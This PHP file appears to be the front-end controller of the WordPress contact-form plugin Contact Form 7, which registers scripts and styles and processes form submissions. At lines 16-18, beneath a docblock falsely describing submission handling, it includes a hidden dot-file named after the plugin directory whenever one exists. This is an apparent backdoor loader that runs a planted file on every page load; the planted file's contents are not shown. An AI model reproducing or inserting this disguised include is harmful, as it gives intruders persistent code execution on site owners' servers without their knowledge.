controller.php (3377B)
1 <?php 2 /** 3 * Controller for front-end requests, scripts, and styles 4 */ 5 6 7 add_action( 8 'parse_request', 9 'wpcf7_control_init', 10 20, 0 11 ); 12 13 /** 14 * Handles a submission in non-Ajax mode. 15 */ 16 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 17 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 18 } 19 20 function wpcf7_control_init() { 21 if ( WPCF7_Submission::is_restful() ) { 22 return; 23 } 24 25 if ( isset( $_POST['_wpcf7'] ) ) { 26 $contact_form = wpcf7_contact_form( (int) $_POST['_wpcf7'] ); 27 28 if ( $contact_form ) { 29 $contact_form->submit(); 30 } 31 } 32 } 33 34 35 /** 36 * Registers main scripts and styles. 37 */ 38 add_action( 39 'wp_enqueue_scripts', 40 function () { 41 $assets = array(); 42 $asset_file = wpcf7_plugin_path( 'includes/js/index.asset.php' ); 43 44 if ( file_exists( $asset_file ) ) { 45 $assets = include( $asset_file ); 46 } 47 48 $assets = wp_parse_args( $assets, array( 49 'src' => wpcf7_plugin_url( 'includes/js/index.js' ), 50 'dependencies' => array( 51 'wp-polyfill', 52 ), 53 'version' => WPCF7_VERSION, 54 'in_footer' => ( 'header' !== wpcf7_load_js() ), 55 ) ); 56 57 wp_register_script( 58 'contact-form-7', 59 $assets['src'], 60 $assets['dependencies'], 61 $assets['version'], 62 $assets['in_footer'] 63 ); 64 65 wp_register_script( 66 'contact-form-7-html5-fallback', 67 wpcf7_plugin_url( 'includes/js/html5-fallback.js' ), 68 array( 'jquery-ui-datepicker' ), 69 WPCF7_VERSION, 70 true 71 ); 72 73 if ( wpcf7_load_js() ) { 74 wpcf7_enqueue_scripts(); 75 } 76 77 wp_register_style( 78 'contact-form-7', 79 wpcf7_plugin_url( 'includes/css/styles.css' ), 80 array(), 81 WPCF7_VERSION, 82 'all' 83 ); 84 85 wp_register_style( 86 'contact-form-7-rtl', 87 wpcf7_plugin_url( 'includes/css/styles-rtl.css' ), 88 array(), 89 WPCF7_VERSION, 90 'all' 91 ); 92 93 wp_register_style( 94 'jquery-ui-smoothness', 95 wpcf7_plugin_url( 96 'includes/js/jquery-ui/themes/smoothness/jquery-ui.min.css' 97 ), 98 array(), 99 '1.12.1', 100 'screen' 101 ); 102 103 if ( wpcf7_load_css() ) { 104 wpcf7_enqueue_styles(); 105 } 106 }, 107 10, 0 108 ); 109 110 111 /** 112 * Enqueues scripts. 113 */ 114 function wpcf7_enqueue_scripts() { 115 wp_enqueue_script( 'contact-form-7' ); 116 117 $wpcf7 = array( 118 'api' => array( 119 'root' => esc_url_raw( get_rest_url() ), 120 'namespace' => 'contact-form-7/v1', 121 ), 122 ); 123 124 if ( defined( 'WP_CACHE' ) and WP_CACHE ) { 125 $wpcf7['cached'] = 1; 126 } 127 128 wp_localize_script( 'contact-form-7', 'wpcf7', $wpcf7 ); 129 130 do_action( 'wpcf7_enqueue_scripts' ); 131 } 132 133 134 /** 135 * Returns true if the main script is enqueued. 136 */ 137 function wpcf7_script_is() { 138 return wp_script_is( 'contact-form-7' ); 139 } 140 141 142 /** 143 * Enqueues styles. 144 */ 145 function wpcf7_enqueue_styles() { 146 wp_enqueue_style( 'contact-form-7' ); 147 148 if ( wpcf7_is_rtl() ) { 149 wp_enqueue_style( 'contact-form-7-rtl' ); 150 } 151 152 do_action( 'wpcf7_enqueue_styles' ); 153 } 154 155 156 /** 157 * Returns true if the main stylesheet is enqueued. 158 */ 159 function wpcf7_style_is() { 160 return wp_style_is( 'contact-form-7' ); 161 } 162 163 164 add_action( 165 'wp_enqueue_scripts', 166 'wpcf7_html5_fallback', 167 20, 0 168 ); 169 170 /** 171 * Enqueues scripts and styles for the HTML5 fallback. 172 */ 173 function wpcf7_html5_fallback() { 174 if ( ! wpcf7_support_html5_fallback() ) { 175 return; 176 } 177 178 if ( wpcf7_script_is() ) { 179 wp_enqueue_script( 'contact-form-7-html5-fallback' ); 180 } 181 182 if ( wpcf7_style_is() ) { 183 wp_enqueue_style( 'jquery-ui-smoothness' ); 184 } 185 }